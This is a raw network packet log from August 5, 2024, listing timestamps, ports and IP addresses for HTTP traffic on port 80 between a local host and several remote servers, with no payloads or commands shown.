Aug 5, 2024 12:01:15.886692047 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886737108 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886823893 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886835098 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886846066 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886856079 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886868000 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.886872053 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.886887074 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.887190104 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887202024 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887213945 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887224913 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887232065 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.887248039 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.887564898 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887604952 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.887643099 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887655020 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887690067 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.887828112 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887840033 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887851954 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887862921 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.887876034 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.887912035 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.888155937 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.888166904 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.888175964 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.888206005 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.928764105 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.931426048 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.931444883 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.931469917 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.931498051 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.931565046 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.931576014 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.931618929 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.971851110 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.971904039 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.971908092 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.971916914 CEST	80	49887	103.235.46.98	192.168.2.7
Aug 5, 2024 12:01:15.971976042 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:15.983160973 CEST	80	49892	161.117.242.93	192.168.2.7
Aug 5, 2024 12:01:15.983201981 CEST	80	49892	161.117.242.93	192.168.2.7
Aug 5, 2024 12:01:15.983274937 CEST	49892	80	192.168.2.7	161.117.242.93
Aug 5, 2024 12:01:16.018599987 CEST	49890	80	192.168.2.7	47.94.225.221
Aug 5, 2024 12:01:16.027436972 CEST	49885	80	192.168.2.7	111.124.200.101
Aug 5, 2024 12:01:16.037354946 CEST	49892	80	192.168.2.7	161.117.242.93
Aug 5, 2024 12:01:16.041100025 CEST	80	49889	113.219.142.35	192.168.2.7
Aug 5, 2024 12:01:16.042601109 CEST	80	49892	161.117.242.93	192.168.2.7
Aug 5, 2024 12:01:16.042653084 CEST	49892	80	192.168.2.7	161.117.242.93
Aug 5, 2024 12:01:16.050784111 CEST	49889	80	192.168.2.7	113.219.142.35
Aug 5, 2024 12:01:16.056852102 CEST	49887	80	192.168.2.7	103.235.46.98
Aug 5, 2024 12:01:16.720593929 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:16.725550890 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:16.725620031 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:16.725756884 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:16.730482101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828380108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828408957 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828425884 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828459978 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:17.828497887 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828511000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828551054 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:17.828696012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828708887 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828727961 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828737020 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.828777075 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:17.828902960 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.829818964 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:17.833261967 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.833322048 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.833334923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.833374977 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:17.833431005 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:17.833571911 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.161066055 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161081076 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161101103 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161112070 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161125898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.161144972 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.161226988 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161242962 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161287069 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.161405087 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161417007 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161454916 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.161763906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161837101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161848068 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.161890030 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.162038088 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.162049055 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.162060022 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.162082911 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.162110090 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.162522078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.162580013 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.162592888 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.162631035 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.494236946 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494437933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494451046 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494538069 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.494582891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494596004 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494609118 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494643927 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.494663000 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.494713068 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494796991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494808912 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.494848967 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.495029926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495042086 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495053053 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495064974 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495078087 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495085001 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.495085001 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.495119095 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.495469093 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495584965 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495598078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495626926 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.495770931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495783091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.495807886 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.579510927 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.788137913 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788161993 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788173914 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788204908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.788218975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788233042 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788259029 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.788419962 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788439035 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788449049 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.788471937 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.788501024 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.788707018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789031029 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789067984 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.789103031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789115906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789150000 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.789232016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789428949 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789496899 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789508104 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789535999 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.789562941 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.789701939 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789716959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.789753914 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.789978027 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.790059090 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.790070057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.790096045 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.790260077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.790271997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.790313005 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:18.790405035 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:18.793972015 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.063730955 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.063769102 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.063781977 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.063813925 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.068442106 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.068455935 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.068501949 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.068557978 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.068571091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.068614960 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.073154926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.073168039 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.073246002 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.073259115 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.073281050 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.073281050 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.077867031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.077882051 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.077893972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.077951908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.077951908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.077958107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.077971935 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.078037024 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.082570076 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.082582951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.082643032 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.082648039 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.082660913 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.082726955 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.087279081 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.087291956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.087302923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.087322950 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.087341070 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.087384939 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.391180992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.391222954 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.391235113 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.391278028 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.391360044 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.391386032 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.391396999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.391417980 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.391489029 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.391621113 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392055988 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392097950 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392110109 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392127991 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392159939 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392313004 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392324924 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392335892 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392384052 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392498016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392545938 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392565966 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392579079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392647982 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392745018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392757893 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392821074 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392889977 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392919064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392930984 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392941952 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392960072 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.392966032 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.392992973 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.393336058 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.393349886 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.393398046 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.393480062 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.393501997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.393536091 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.579519987 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.724426031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724473000 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724523067 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.724754095 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724771976 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724782944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724792957 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724827051 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.724827051 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.724877119 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724889040 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724900007 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724910975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.724956036 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.724956036 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.725150108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725267887 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725280046 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725315094 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.725414991 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725425959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725436926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725447893 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725469112 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.725469112 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.725727081 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725739956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725750923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725774050 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.725833893 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.725889921 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725975990 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.725986958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726027012 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.726180077 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726191998 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726202011 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726214886 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726219893 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.726264954 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.726433039 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726458073 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:19.726475954 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:19.767033100 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.022437096 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022497892 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022568941 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.022612095 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022624016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022674084 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.022833109 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022844076 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022855997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022867918 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.022906065 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.022906065 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.023180962 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023281097 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023293972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023363113 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.023542881 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023554087 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023565054 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023575068 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023586035 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023591042 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.023597002 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023602962 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.023610115 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023623943 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023636103 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.023637056 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.023649931 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.023678064 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.024358034 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024372101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024432898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.024616003 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024627924 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024638891 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024648905 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024660110 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024667978 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.024671078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024682999 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:20.024683952 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:20.024693966 CEST	80	49893	27.221.16.149	192.168.2.7
